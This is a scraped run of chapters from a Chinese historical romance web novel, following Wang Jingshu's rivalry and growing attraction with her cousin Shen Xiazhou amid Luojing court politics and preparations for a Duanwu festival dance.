别人不知王静姝,但沈遐洲却可以肯定,王静姝绝不是在维护他,她真正维护人的时候,绝不是这样弯弯绕绕的。 她分明是在为自己挽尊,她没有被沈三郎欺负,她同沈三郎是势均力敌的,西书阁是意外。 沈遐洲不用多想,便能猜到王静姝的想法。 他笑意微凉地踏入房中,房中女郎们有一瞬的静默,带头的沈四娘子也鹌鹑似的缩了缩脑袋,直到瞧见也跟来的沈二郎,才轻唤了一声“三哥”后,连忙躲到了沈二郎的身边。 女郎们也热情地同沈二郎说着话,诸如“二郎也是来瞧王娘子的吗?”“王娘子没有什么大碍,我们决定等王娘子脚伤好了,邀她去踏青游宴,二郎你到时一起来吗?”…… 沈二郎有礼地一一回应,一时没有功夫关心上王静姝几句,只好给三郎递了眼神,他可是缠了三郎好半天的功夫,才把人说动来看望王表妹,不说给表妹道个歉,送个药也是好缓和些关系的。 尤其是刚在门外听到的几句话,更让他放心了不少,王表妹没有怪三郎,看来两人的关系或许没有想象中的坏,他也乐得给两人创造些相处机会,回应着地将其他女郎往外带。 王静姝瞧着被女郎们围着往外走的沈二郎,再想起星泉曾同她说过,被沈遐洲伤过心的女郎都是沈二郎宽慰的,有些咂摸出味来了,原来这些女郎们来看望她是假,借机来见二郎,顺带减少竞争对手才是真。 王静姝忍不住笑起来,沈二郎可真是个有趣的人,待人温煦有礼,为人又不失情趣,难怪这些女郎们纷纷转了爱慕对象。 王静姝本就生得清冶明丽,嫣然一笑下,更是有一种独特的风情流转,只这笑在沈遐洲看来怎么看怎么扎眼,手中一个小瓷瓶抛向王静姝,打断了她目送沈二郎。 “莫肖想了,我绝无可能让你当我嫂子。”年轻郎君双目沉沉,开口几多冷讽。 王静姝怔愣一瞬,捡起落在她身上的小瓷瓶就砸向沈遐洲,沈遐洲欺人太甚,他将她想成什么人了? 瓷白的小瓶被年轻郎君稳稳接住,重放回王静姝的身旁,俯身的一瞬,王静姝听得他随意又嘲弄地道:“你难道不是为结亲来的洛京?” “药不要再扔了,我不愿再为你送一次。” 他自觉将该说的话说完,转身要离去,却被实在气不过的王静姝生生给拽了回来。 年轻郎君倒在榻上,手肘半撑着要起,下一刻,被女郎欺身揪住了领口,“沈九如,我是有意来洛京结亲不假,但我不至于扒着你沈家的郎君,便是你求着我给你当嫂嫂,我也还不一定看得上。” “你当我乐意同你在同一屋檐下吗?” 女郎双唇艳红,长发散落在沈遐洲雪白的外衫上,沈遐洲自她欺身上来的那一刻就大脑空白,无法思考,他上撩的视线恰能看到她修长的玉颈,漂亮的锁骨,甚至丰盈的胸线。 已薄的春衫,更是挡不住相贴的温度,一瞬,沈遐洲恍若浸在馥郁芬芳的玉脂凝香中,他半点没听进去王静姝对他的回敬,兀自盯着她一张一合又湿润的唇瓣出神,生出想尝一尝荒唐念头。 王静姝一通发泄,一点没有感受到制止和反抗,慢慢松了紧攥着沈遐洲襟口的手,只见被她压制着的年轻郎君双颊不自然地透红,黑岑岑的一双目紧盯着她不放,像是要拆她入腹,可他天生一张白如冰玉的俊美脸庞,这般处境下,竟呈现一种零落又招摇的脆弱美。 她连忙放开了沈遐洲,她太清楚这人过去到底有多体弱了,风吹一吹就能病上好几日,这才对他使了一点劲,就脸涨红,别把人压出个好歹来,她可不能被送回建业去。 沈遐洲拒绝了王静姝伸来要扶他的手,坐起身慢条斯理地理着被攥皱了的衣襟,脑中一会是被扑倒的愤怒,一会又是没有出处的烦躁,目中鸷意也跟着若有若无,最后只留下一句没头没脑的:“你好自为之。” 王静姝并没有去深想他话中“好自为之”到底是何意,反有些迷惑地瞧他离去的背影。 他病到底好没好?怎么一会好一会弱的?刚被她那般挨揍似的压在身下,竟也没有反抗,莫不是憋着更坏的主意等着报复她? 沈二郎沈遐元才送走那些女郎们,甫一回身,瞧见三郎疾步从房中出来,面颊透红,不由稀罕地迎上前:“三郎,你脸怎这般红,要不要请医师看看。” 沈遐洲不理。 沈遐元追了几步:“你可将药送给王表妹了?” 沈遐洲仍是没理,甚至运起轻功眨眼间就消失了。 得,还是得自己去问,沈遐元自怡一笑,双眼也跟着一弯,不知藏了几多的心思。 时下,男女往来并不讲究什么男女大防,更何况还有一层表兄妹的关系在,侍女自然地将沈遐元引入了王静姝刚才见客的屋中。 沈遐元是那种一眼就让人心生好感的郎君,他笑容亲切和气,问出的话也满是温柔关怀:“王表妹脚伤无碍便好,我刚瞧见三郎离去时面色不对,可是他又欺负你了?” 王静姝面露困惑,说实话她有时候确实不太懂得欺负的定义范畴,若按刚才的来说,是沈遐洲先来招惹她,可她也已回敬回去了,那这样还能算作被欺负了吗? 况且沈二郎还是沈遐洲的二哥,他当真会帮她?她大伯都做不到呢,年少时,王家家主王瑞就常因沈遐洲斥责她胡闹。 所以,她同沈遐洲的恩怨,还是私下里自己解决的好。 王静姝摇头:“三表哥他没有欺负我。” 沈遐洲眸中闪过一丝意外,这表妹未免也太能忍了,三郎是什么性子,外面的人不知,府中又哪有不知的道理,说得好听点是清贵孤傲,目下无尘,说得难听一点就是阴郁难相处,谁也不理。 就拿府中的那些个女郎来说,哪个不曾心动过三郎那优雅隽逸似仙的好相貌,眼巴巴地凑上前去,一番少女柔情皆被无情伤透,有的当即就脸上挂不住收拾行李归家,有的也好言安慰了许久,才原谅了三郎的无礼。 这位表妹还是第一个能一脸平静地说出没有被欺负的娘子,也是沈遐元第一次见到能这般牵动三郎情绪的娘子。 沈遐元越发好奇了,“表妹在建业时是如何同三郎相处的?” 他这话问的其实有些突兀,不过他气质太过和煦,就像是在同人闲话一般,王静姝下意识地就答了:“他病恹恹的,整日都待在房里。”说到一半忽地惊觉,这样当着沈遐洲家人的面说他病不太好,她嗫嚅地停顿了喉间继续要吐出的话。 看出她的顾虑,沈遐元善解人意地点头道:“三郎那时候身体确实不太好,家主和长公主也无空照料他,偌大沈府,他也是一个人待着,倒不如换个地方散散心。” 说着,沈遐元余光留意了王静姝一眼,果真瞧见她听得无比认真,谈话的最高境界大抵是用半真半假的话,拉近距离,诱人说出原本并不想说的话。 这招沈遐元用得炉火纯青,他面有愧色地道:“想必三郎给你们王家添了不少麻烦吧?” “还好,只他总是不出门,长辈们有时会担心。”担心他死在建业,不好给沈家交代,“后来他好点,就愿意出门了。” 沈遐元有些怀疑自己听漏了什么,王表妹好像什么都说了,又好像什么都没说?王表妹原来是嘴这么严的人吗? 王静姝自是不知沈遐洲在心中如何高看她,她不说得详尽,不过是因为自己参与得太多,不过有一点真的令她很在意:“二表哥,我一直不知三表哥得的是什么病,他现在可都好了?” “他啊,早好了。”沈遐元没能从王静姝口中打探出些感兴趣的事,兴致有些淡淡地回应。 王静姝:“不会反复吗?” 嗯? 沈遐元惊异地看向面前的女郎,女郎的神情古怪得他一时读不懂,像是可惜,又像是不信? 不信,倒是能理解,这可惜,又是从何来。 “王表妹,实话告诉你,三郎其实从来没有病过,中毒倒是有一次。”沈遐元食指立在唇前,笑若狡狐,弯着腰同王静姝道:“王表妹,可别说这是我告诉你的,当做我们之间的秘密可好?” 眼见面前的年轻女郎像是惊住了一般的神情,沈遐元直起腰身,又是一派的坦坦之姿,好似刚才一瞬流出的放荡不是他一般,关怀道: “表妹且安心在府中住下,若有什么需要自可去寻府中的管事,有难事也可来寻我。” 沈遐元并不管他扔下的秘密令人几多震惊,像是回味什么般地笑着离开了流虹院,难得来了个这么有趣又能影响三郎的表妹,他可得好好琢磨琢磨。 * 知道秘密的人一般有两种情况,守口如瓶,或是憋不住地同人分享,王静姝大概属于特殊的第三种,她既愿守住秘密,可又控制不住地多想,她想,原来沈遐洲身体那么差是因为中毒,那他为什么会中毒?谁会害他这样出身高贵的小郎君?沈二郎为什么告诉她? 统共在沈府歇了三夜,其中两夜都没有歇息好,再起时,王静姝双眼下是挡也挡不住的青黑,她烦躁 7. 第 7 章 《卿卿知我意否?》全本免费阅读 “是四娘啊,”惠王神情未变,敛目偏头一瞬,唇角绽出清浅的笑:“几日不见三郎,我来寻他说说话。” “这位娘子是?”惠王的视线重新落在了王静姝身上,目光柔和又友好,声音也如清泉簌流一般。 王静姝对这样郎君最是没有抵抗力,明明听到了沈莹唤他惠王,却不及见礼,双目有些晶亮地落在惠王下颌,准确的说,是落在他浅笑的唇畔,俊美郎君笑起来,便如静静流淌的山水一般清幽干净,很是顺眼。 美人自来都是知晓自己美的,惠王也不例外,时人盛行人物品藻,他单就容貌风度上,便被洛京士子和女郎们奉为上佳,对王静姝瞧他的目光并不觉意外,也并不觉得失礼,反还有些欣赏这貌美女郎的率性通脱,笑意不由加深了些。 王静姝被他包容的目光望得腾起几分不好意思,垂下眼睫,屈膝一礼:“惠王殿下。” 惠王虚扶一下。 沈莹这时也同惠王介绍:“殿下,王姐姐出自建业王氏,是我从南方来的表姐。” “原是王娘子,”惠王唇角噙笑:“孤恰巧路过,方才娘子惊鸿一展,不知是何舞?” 何舞? 王静姝有一瞬的疑惑,刚才的动作根本算不上是舞,不过是几个下意识的动作,这便是不懂舞的人,也应能看出来的吧? 许是她的神情太好读懂,惠王不由心下一晒,他远远路过,自是将此间动静看了个全,也自能分辨出这是不是舞,有此一问,不过是寻个话头同这女郎多说几句。 没想,王娘子的心眼这般实,换了旁的女郎,少说也能将话题继续下去,他并无不悦,换了个问法:“孤瞧娘子的身法定是擅舞的,娘子可是要参与端午祭舞的“神女”拔选?” 端午祭,王静姝倒是知道,可“神女”这词,却是第一次听说。 不过也不难猜,大概又是洛京同建业习俗上的不同,再则,祭舞这词就更好理解了,每当重大的节日庆典亦或是祭祖之时,为祈福亦或是祝祷,自古就有以舞通神之说。 想来,“神女”应就是换了个说法的主祭。 王静姝缓缓抬眸,目中礼貌地露着一丝笑意:“我初到洛京,殿下所言,我还不曾了解。” 眼见这个话题就要没完地继续下去,在一旁听他们寒暄好一会的沈莹有些不耐了,提醒道:“惠王殿下,你不是来寻我三哥的吗?” “现拉着我表姐闲话,岂不是在同我抢人,表姐还要陪我放纸鸢呢。”沈莹抬眼直视着惠王,语中多有不满。 “是孤之过。”惠王声中染上了一丝愧。 沈莹杏眼上扬,大大方方地就受了惠王的歉,半点也无面对的是皇家成员的怯意,“那殿下去寻我三哥吧,我带表姐继续放纸鸢去了。” 说着,沈莹便一手拿纸鸢,一手牵着王静姝跑远了。 沿湖长廊,只留下女郎们纤柔的背影,还有扬若云飞的裙裾。 惠王目望着她们跑远,好半响,才用巾帕抵唇轻咳:“四娘子还是如此活泼。” 跟在惠王身旁的护卫面色多有不忿,“殿下,沈四娘子未免太……” 护卫话还未说完,只见惠王抬手一瞬,瞥来一眼满是制止意味,遂也不敢再多言。 “去寻三郎吧。” 惠王收回视线,迈步向听松居,身后的护卫也趋步跟上。 而被沈莹拉着跑的王静姝,却几次回头,她实不解沈莹为何这般急着拉她走开,单纯只是耽误了她放纸鸢? 而且,沈莹对待惠王的态度是不是也太随意了一些? “莹妹妹,我们这般跑开,不会得罪惠王殿下吗?”王静姝跟着沈莹停下,问道。 也不怪她有此问,经丹阳王一事,她是真有些一朝被蛇咬十年怕井绳了,况又是在人生地不熟的洛京,她脾性都收敛了不少,若非沈遐洲总寻衅她,她说不得能端雅得久一些。 那日差点揍了沈遐洲,她后来也懊悔着,斗斗气也就罢了,在别人的地盘上动手,若是被人瞧见了,先不说婚事还有没有指望,被送回建业也未可知。 她夜里辗转反侧,不无有担心着沈遐洲的报复,可要她去同沈遐洲低头,那也是不可能的,遂而煎熬地等着见招拆招,没想没等到沈遐洲的报复,倒是可能得罪了一面之缘的惠王,这想想就有些冤。 她目光落到不常运动,才跑一会就气喘的沈莹身上,好心地为她顺了顺气。 沈莹缓过气,无畏地摆了摆手:“不要紧,惠王殿下很是大度,他不会计较的。” “王姐姐,你初来,可能不知,惠王是洛京出了名的老好人,他便是全身只有一个铜板,也是要施舍给乞儿的人。” “他也从来不与人动怒。” “可就是因为这样,我才常觉得他不像真人。”说到这,沈莹皱了皱脸,显出些小女儿的抱怨:“王姐姐,你说世上哪会有人一点私欲都没有啊?” “我不过多疑了几句,我二哥还因此训我慎言。”她对此一直很是不服气,可她才不舍得顶撞自小就照顾她的二哥,要出气也该寻正主。 故而,她常在私底下对惠王殿下不怎么敬畏,他不是大度嘛,那想来也是能体谅她的。 沈莹并不管王静姝是否回应,只顾自己一吐为快。但王静姝对惠王的印象其实不错,不管是大度还是善良,这不都是好品质嘛? 她越听越不懂沈四娘子对惠王怨气的由来了,难道就因被沈二郎训了? 想到沈二郎,她脑中似乎飞快地闪过些什么,可那灵光闪现得实在快,快得她根本来不及抓住,思索一阵只能作罢。 不过,惠王这人还有端午祭这事,她终归是上了心。 * 与此同时,沈府西院。 僻静的听松居中,临窗落下松柏树影,风清影动,好一派清幽的居馆。 沈遐洲面容掩在阴影下,神情多有些心不在焉,滴墨浸透面前的画纸,也不见落笔,他的心很乱,像被众多蚂蚁爬过般地不舒服,不剧烈,但难以忽视,夜里,他也会一遍遍想起女郎压在他身上的情形,他恼怒,怒王静姝果然是个粗鲁女郎,也怒自己当时不一把将她推开。 女郎那句“你当我乐意同你在同一屋檐下吗?”也时时回荡在他耳边,着实令人不快。 呼吸微不可察地粗重了几分,掩在长睫阴影下的眸色也晦暗难辨,他既赶不走这个让他不适的存在,又探究不明白自己为何会这般怒燥。 他搁下笔,烦恼地闭目思索着。 轻缓的脚步在靠近,犹伴着几声轻咳,是星泉引着惠王入了敞轩。 沈遐洲掀眼,对惠王陈雍并无甚热情,但也不算是冷脸。 惠王显然是早已习惯他的冷淡,也不用沈遐洲开口,自己在对案坐下,扫一眼落了墨的画作,略带熟稔地调侃:“几日不见你,便是在家中作此画?” “不算画,闲来描影罢了。”沈遐洲瞥一眼落了墨的画纸,语气很淡,“舅父怎么来了?” 惠王年岁上虽只比沈遐洲长几岁,可他是漱阳长公主最小的弟弟,沈遐洲这声舅父他也当得,他自然极了地回:“新得了几部医书,有些感悟,去宫中寻你,结果听昶儿说你这两日都未曾进宫,便干脆来府上寻你。” 甫一说完,他控制不住地又抽出帕子掩唇咳了几声。 沈遐洲为他斟了一盏茶,递到跟前:“润润。” 惠王接过,小饮了一口,茶水入喉,齿间因干咳涌上的涩意才被压下,“好多了。”他放下茶盏,从袖中扯出一叠纸张,“昶儿的功课,我也一同为他替你带来了。” 他口中的昶儿便是如今的小皇帝陈昶,还是个七岁大的稚童,漱阳长公主虽居在宫中,可朝中每日朝事繁多,能抽空教导小皇帝功夫并不多,秉着肥水不流外人田的心思,也有意将小皇帝牢牢掌控在手中,教导小皇帝的职责就落到了沈遐洲的身上。 沈遐洲虽年纪尚轻,但才学过人,曾由沈家家主沈照亲自教导,又兼长公主党的一力推荐,如今在朝中领“少师”一职,是太师辅官,负责辅佐皇帝学习。 8. 第 8 章 《卿卿知我意否?》全本免费阅读 王静姝同沈莹放了小半日的纸鸢,一回流虹院,就唤着竹苓将她练舞专用的衣裙寻出来,又吩咐人去寻沈府管事,借些人手将院子重新理一理,好更便于她练舞。 娘子要练舞无可厚非,可这么着急,却有些不同寻常,竹苓一一往下做着吩咐,后才行到已摆开练舞架势的王静姝身旁询问:“娘子今日是遇到什么事了?” 王静姝提压腕的动作往回一收,目中笑意灼灼:“下月便是端午了,我初入洛京,我想着,光等着叔母为我打算,岂不是太慢了些?” “娘子要做什么?”竹苓心都提到了嗓子眼,自家娘子从来就不是个安分乖巧的性子,在建业也就罢了,这可是洛京,出了事,以娘子现在的处境,可难求回家中兜着。 王静姝张臂绕着竹苓半旋了个身,整个人都沐在带着金辉的夕光下,她道:“我要洛京的郎君们都来慕我。” “我要自己挑个家世容貌都合我意的夫君。” “还要看沈九如向我低头。” 竹苓呆呆望着自家娘子,她柔软的手骨嫩如青葱,舒展的身姿若兰开,落日的余辉也像是为她镀上了一层浅金色的暖光,明亮,又夺目,让人不自觉地信服她说的话。 她家娘子,也只有她家娘子这般的美人,才敢说出要洛京的郎君都来慕她的话,她不由自主地追问一句:“娘子要如何做?” 王静姝沉吟一瞬,“要先参与端午祭神女的拔选。” “你替我去打听打听太常寺的大人都有哪些,哪位负责今年的端午祭?” “往年的端午祭都有何人参选?她们都擅何种祈福舞?还有——” “洛京擅谱曲的名士也需列出个单子来,他们的喜好也探听探听。” …… 她今日同沈莹的纸鸢可不是白放的,至少洛京的端午祭流程都摸清楚了,各种祭典都是由负责祭祀礼乐的太常寺负责操办,不过根据祭典的大小,每年的负责人都略有不同。 负责人不同,那在拔选主祭“神女”时的喜好也会多有偏差,好比,有的大人重神韵,有的大人重舞技,还有同舞一起的雅乐也是极为关键的,这当中的门道可多得去了。 她倒是不担心会无人举荐她入太常寺的考核,她好歹出自建业王氏,只要名帖递上去,总能有个参试机会,只是洛京的祭舞同南地多有差异,南地多水,往上的一代代先祖曾以“龙”为图腾,急鼓竞渡祭龙神多由男子主祭,祭舞也以急旋和展现力量感为佳。 而北地的端午祭,更多源于对天象的崇拜,礼俗中多蕴有天地信仰和先祖信仰,祭舞中不但要谢天地神灵,感先祖恩德,还要向其祈风调雨顺等,故而,选择的舞曲更讲究“慢”和“雅”。 她擅快舞,舞姿迅而华丽,慢舞倒也不是不能跳,但需要适应,若想从北地女郎中脱颖而出,每个动作细节更是要展现到极致。 她从知道了端午祭,这些想法就已在脑中过了不知多少遍,此刻说与竹苓也跟倒豆子般地畅快。 这可苦了竹苓,饶是她再能干,也架不住自家娘子这般多的既要又要,娘子莫不是忘了,这是洛京,她们才歇下几日而已,哪来的路子去打探官员的喜好?又哪来的交情去访名士? 二人四目相对,一人眼中满是凌云壮志,一人却眼神闪烁躲避。 竹苓实在顶不住自家娘子那溢满流光的眼神,不忍让娘子又为离开建业伤怀,她咬咬牙想要应下来,事在人为,多打点,总能将娘子交代的办好了,只端午祭,就在下月,时日上怕是等不及。 竹苓犹在犹豫,王静姝却反应过来了,沈家势大,可这势也不是随意可借来用的,她只是个表姑娘,而小叔母也多年未归家,许多事也不见得帮得上忙,况且,叔母已在为她的婚事出力,这不,昨日还送来了一观玄谈的宴请。 这宴请可谓是沈风眠精挑细选的,就是冲着为王静姝挑夫婿去的,时人好玄谈,常有青年才俊们聚在一块论天人之际,究有无之理,这可比什么赏花宴品香宴之流来的郎君们多多了。 而他们所聚之处,大都为山寺,亦或是风景甚好的游玩之所,这样的地方,郎君们去得,女郎们自然也去得,久而久之,也就出现了一种新的宴——“观玄宴”,即宴请的主人出一题,广邀各家郎君女郎们来辩。 兴至最后,三两结伴游玩也是常事,而且大绥风气开放,女子中流行反“妇德”,有些大胆的孀居妇人,甚至会邀看中的郎君春风一度。 这样的事,王静姝在建业也不是没见过,不过大多世家未嫁的女郎还是会矜持一些。 想到这,王静姝也不为难竹苓了,“罢了,我自己想办法吧。” “此事也莫要求到叔母那。” “叔母陪同我来洛京,已为我操心许多了。” 王静姝掩目略带愧意,得了竹苓的保证才放她下去。 其实,除了不想让小叔母操心外,她的行事作风有时也羞于摆到长辈的跟前,若是让叔母听到她那要让洛京郎君都来慕她的惊天言论,别说不会支持她了,说不定还要同教育闻礼那般,也给她讲讲学。 时下,各家学派各有推崇,沈风眠便是自小浸染儒学教养出来的贵女,自身对儒家也多有推崇,可王静姝不一样,她有个博学的阿父,虽不对她才学上有什么要求,可长年熏陶下来,各家学说思想都听了一二,她觉得每家都讲得有道理,对每个学派都认同。 什么都认同的人,说得好听些,是尊重所有的学派,说直白些,那就是百无禁忌,这样的人,在学术上是最受排斥的,好在王静姝是女郎,又都学得不精,不至于同人在辩学上大打出手。 她也知晓自己有些离经叛道,可她仍旧是觉得自己的想法可行,既然要挑夫婿,一个一个地去认识郎君多慢啊,同时让洛京的郎君们认识她,来慕她,再慢慢挑才好呢。 人生地不熟又有什么关系,总会熟起来的。 * 翌日,二夫人袁氏便知晓了王静姝想改园子,好留出更适宜练舞的空地来,沈莹听了,又来寻她。 然,王静姝此时并不在流虹院中,院中只有一些被派来改园子的仆役。 一番问下,才知晓王家表姐去中园了。 东西跨院中间有个极大的花园连接,园中景致甚好,是平日里府中女郎们各类游戏的地方,昨日纸鸢便是在此园中放的。 流虹院正在重整,王静姝不愿白白荒废了时辰等着他们修整,便逛到了她唯一熟悉的园中,粉墙花林,绿枝翠叶零落欹斜,女郎一心沉浸在自己的练习中。 左右柔手,绕腕,摊掌…… 不过是些舞中最基础的手势动作,她甚至连步子都不需动一下,可即便是这样,也足以令人看得目不转睛。 星泉还从未见过有人连手也能美成这样,就像是书中说的,纤什么没有骨头什么,一个词想得他眉头都结在了一块。 纠结一瞬,才发现郎君竟不等他地走了,连忙跟上。 沈遐洲先去了一趟宫中,见了小皇帝,将前一日才改过的 9. 第 9 章 《卿卿知我意否?》全本免费阅读 人都是贪心的,即便已是坐在最高位人也不例外。 长公主就是这样一个人。 她口中的陶将军是先后平定内乱和赶走鲜卑的陶敬,此人勇猛无比,屡立战功,然此人并没有因军功积攒得以升迁,到现在也不过是个雁郡太守。 这和陶敬的出身有关,陶敬早年孤贫,连被郡里举荐的机会都是靠巴结求来的。 再则,大绥的权利网络,大都掌控在豪门大族中,大族通过通婚,交友,官场等更是结成牢不可破的关系。 这样的关系网,是特别排外的,陶敬这种出身卑贱的人,能力越是超群,也越是容易遭到忌惮和打压。 他在前头浴血奋战,战果真能落到手中的却没有几分。 而长公主现在恰想抬举如陶敬这样有能力的寒门武人,但这并不能放在明面上做,只因她有如今的权柄,全盖沈家为首士族支持的结果。 她转过头去抬举寒门武将,那岂不是明摆着要同他们割裂?便是沈家也不会坐视不理。 可尝试过权利滋味的人,又怎甘一直放任能钳制自己的力量存在? 野心是一点点膨胀的,漱阳长公主渴望更大的权柄,所以,她要不动声色地抬举陶敬。 端午祭“神女”是一个很好的机会,先抬举陶敬的女儿,为其指一门婚事,剩下也就好办了。 漱阳长公主的目光不由自主地落到沈遐洲身上,如果可以的话,她并不想牺牲沈遐洲的婚事,可也只有同她有血缘关系的孩子才是最好的选择。 只有她的孩子去同寒门通婚,她才有理由去抬举陶敬。 她的目光太有实质性,不像是一个作为母亲该有的眼神,那是冷酷政客才有的打量。 沈遐洲早已不会为此感到伤怀,或者说,他也更适应这样如君臣般的相处,他毫不犹豫地回道:“殿下放心,臣会让陶娘子当上端午祭“神女”。” 很是生份的称呼,直到沈遐洲离开了内殿,漱阳长公主才又涌起了丝丝悔意。 * 宫门外的星泉百无聊赖地挥着马鞭,给马儿赶着蚊虫,忽地眼一亮,跳下了马车:“郎君,你可算出来了,我还以为你今日又要宿在宫中了。” 沈遐洲身上没有什么要紧的职务,大多时候进宫,不出一个时辰便能教导完小皇帝功课离开,但他是长公主亲子,在宫中也有住处,偶尔也会宿在宫中,像前几日,便听闻是长公主犯了头疾,需要三郎陪伴。 每当这时候,郎君便不会带上他,星泉每每想到这,便很是不服气,在府中,三郎的起居可都是他照料的,宫中的那些内侍还能比他更懂服侍三郎? 所以,每每望见三郎从宫中出来,不宿在宫中的时候,星泉便有一种果然还是自己更得三郎心的自得感。 他狗腿地给三郎打帘子,“三郎,我们可是直接回府?” 沈遐洲朝他摆了摆手:“你自己回。” 星泉犹未理解三郎的意思,已有旁的护从他手中接过了马鞭,甚至马车也从他的身旁驶过。 他反应过来后,连追着马车跑:“三郎,三郎你这是要去哪?” 接过为沈遐洲驾马的是嵇牧,若是王静姝在的话,定能认出此人,这人便是过往在建业时,一直守在沈遐洲身侧的冷脸护卫。 嵇牧一直有点烦星泉这个死小孩,见他紧追着不放,毫不客气地一挥马鞭,将人甩在了后头。 星泉到郎主身边的时候不过十岁,连照顾人都做不好,嵇牧曾问郎主为何要留他。 记得那时郎主道:“二哥送来的,便留着吧,也好让他们安心。” 如今想来,这哪是安心,就是一个烦不胜烦的死小孩,连郎主去哪都要过问,若是让他知晓郎主宿在宫中的时候,其实都是在为长公主做事,那还得了? 嵇牧冷着脸在心中腹诽,驾马的速度却是半点没有减弱,直驶到华阳街最内里的一座普通宅院才停下。 开门的是一个半大侍女,瞧着年岁比星泉还小一些,她怯怯地忘了一眼嵇牧,直瞧见了其后的沈遐洲,才完全打开了府门,喜悦地邀道:“沈郎君你来了,我家娘子正在院中练舞,我带你过去。” 沈遐洲略颔首。 小侍女瞥一眼他,便满脸羞红地在前头带路,沈家三郎可真好看,日后若是能成为她家娘子的姑爷就好了。 侍女如是想着,不过几个转弯的功夫,便已将人引到园中。 此时正值初夏,青砖戴瓦下点点赤红石榴,一杏衣女郎,手抱着一石榴枝,在廊下起舞。 沈遐洲未上前惊扰,眉头挑剔地挑了挑,只觉得这女郎哪哪都不如意,舞姿僵硬,花枝乱甩,那手也如抓钩一般毫无美感。 还不如王静姝清晨时随意的几个动作。 沈遐洲蓦地一僵,越是不想想起,有些画面越是清晰地浮现在眼前—— 纤若无骨,十指流玉,甚至连手背乃至关节处的经络都青透分明,像玉质一样漂亮。 那是王静姝的手。 即便是匆匆几眼,也像钩子一般地留在人的心间,不时地跃出勾上人一勾。 沈遐洲莫名地就有些恼上星泉,若非星泉一见着了王静姝便不挪步,他何至于多看了几眼? 陶然早就察觉到了有人来,余光一瞥,便能见那春山秀水般俊美的少年郎君,容色清清淡淡地立在石阶之上,他眼睫浓长,目光悠远,像是在瞧她,又像不是在瞧她。 可不是瞧她,又能瞧谁? 陶然当下就有了主意,几个旋步,靠近了沈遐洲,手中的花枝也堪堪递出。 然,也是这瞬息的功夫,那俊美郎君便已退后好几步,而她递出的花枝,不偏不倚地顶在了冷面护卫挡在前的剑鞘上。 赤红的石榴花在撞击下簌簌落地。 “陶娘子,得罪了。”嵇牧收回剑鞘,往后几步,重新露出了那半点不染尘的沈三郎。 陶然唇角有一瞬的抽搐,尴尬地收回秃了一半的花枝,同沈遐洲盈盈一礼:“不怪嵇护卫,是我瞧见三郎来了,想同三郎开个玩笑。” 说着,她腼腆颔首,有些可惜道:“倒是可惜了这株花,未能送给三郎。”倏地,她又抬头:“三郎不若先坐一坐,我为你新折上几枝?” 沈遐洲语气淡淡地拒绝:“不劳娘子费心,我今日来,是为知会陶娘子,明日空山寺拜访陆先生,我会来接娘子。” “娘子早做准备。”< 10. 第 10 章 《卿卿知我意否?》全本免费阅读 沈遐州是知道王静姝会舞的,而且舞得很好。 他甚至还能想起,年少的小女郎,半夜来叩他的窗,“三郎,我新学了一舞,你要看吗?” 彼时,他到建业已有小半个月,日日忍受汤药,乃至一月一次的药浴和依靠旁人内劲洗筋祛毒的折磨。 其实早在离开洛阳前,他便了无生意,他被先帝喂毒来威胁漱阳长公主自戕,而一帘之隔的长公主半点不将先帝的威胁放在心上,甚至道她还会有孩子的。 是啊,长公主正值鹊豆年华,只要她想,她以后便还会有孩子。 沈遐洲心中对母亲希冀,在那一刻便死了,即便后来长公主多次愧疚,道她并不知那一日他也在先帝的殿中,沈遐洲也不曾有过动容。 长公主命所有能请来的医者一定要救他,沈照也因他同长公主爆发了争吵,然,他们最后的商量却是在他性命救回来后,送他远离洛京。 原来,他不过是父母之间累赘。 王静姝来叩窗的那一夜,恰是他刚经历了一场药浴和伐经祛毒,一扇之隔的王静姝不会知晓,临窗倚靠的少年郎君,其实连说话的力气都没有,但他仍旧为她开了窗。 他听到小女郎道:“今日是我阿母的祭日,我睡不着。” 小郎君无语到很想问她:你睡不着来寻我作什么? 但他没有力气开口,又听到小女郎继续道:“其实我都不记得我阿母长什么样了,我只记得她的画像。” “我阿父说,我阿母很擅舞。” “所以,我也学了舞。” “我刚去了我阿父的书房,想将我新学的舞跳给我阿母的画像看。” “可我将我阿母的画像寻出来后,又觉得书房太黑太静了。” 所以你就来寻我吗? 小郎君又在心中腹诽一句。 “府中只有我没有阿母,所以我也不想去寻七郎他们。”小女郎双手托颐趴在窗台上,清暗的月色也挡不住她眸中的晶亮:“我想着,你独身来建业,也无父母相伴,我便来陪陪你。” “我跳舞给你看好吗?” 其实她根本不管小郎君能否回应她,当她说完后,就自顾自地离窗退远了几步。 星槎照天,她舞得那样好看,饱满又轻盈,舒展又动人,像是画中仙。 他是那晚开始,愿意多理睬王静姝一点。 可后来,他才发现,王静姝不止为他舞,被她舞过的人多到数也数不清。 她就是个生性静不下来的女郎! 想到这,沈遐州深深吐了一口气,将过多的思绪赶出脑海,然,他还未及回到听松居,便同刚沈二郎在连廊处撞见了。 星泉立在沈二郎的身后,无可避地接到自家郎君射来的眼刀,他缩着身几步侧挪到沈遐洲的身边,快速地为自己辩解:“三郎,是二郎君见我徒步走回府,非要带我一程,奴这次可什么都没说。” 他显然是紧张了,一会我一会奴的,他是家里遭了难,被卖进沈府的,几年前,被沈二郎挑中送给了三郎,连身契也一同给了,那他的郎主就只有三郎一人。 二郎君也是这般要求的,只三郎刚回府那段时日,会唤他去问问三郎的近况。 后来被三郎冷言了几句,二郎君便再也不通过三郎身边的人去关心了,他改自己上门了。 此刻也是如此,所以,星泉一见情形不妙,连忙又表了忠心。 沈遐洲懒眼略过星泉,最后还是放任沈二郎与他一同入了听松居。 星泉心有余悸地拍了拍胸,嵇牧瞧他的胆小样,嗤一声,将石榴花枝往他怀中一塞,“替我扔了。” 说完,跟上前头的郎君们。 沈二郎的脸色并不如平日的温和,甫一进入了听松居,挥退了仆从,他便满是不赞同地看向沈遐洲:“三弟,你往日私下里帮长公主做些无伤大雅的事也就罢了,如今却还要帮她撬动世家的利益,你可知你这样做的后果?” “二哥消息可真灵通。”沈遐洲缓慢地掀了眼,目底一派无畏。 “你,你……”沈二郎张口了几次,实在不知如何教训沈遐洲的好,说来,他会发现沈遐洲私底下做的事,也盖因他一直关心这个弟弟。 沈遐洲自上月频繁留宿宫中,便让他上了心,后来更是探得三郎在外买了一处宅子,安顿了一个女郎。 多稀奇的事啊,但他并不干涉三郎的交友,直到近来他才探得那是个寒门女郎,他不得不多想。 今日一诈,背后竟真又有长公主的影子。 他早就反对二郎参与到长公主的事中,长公主的野心太大,沈家也迟早有兜不住的一天。 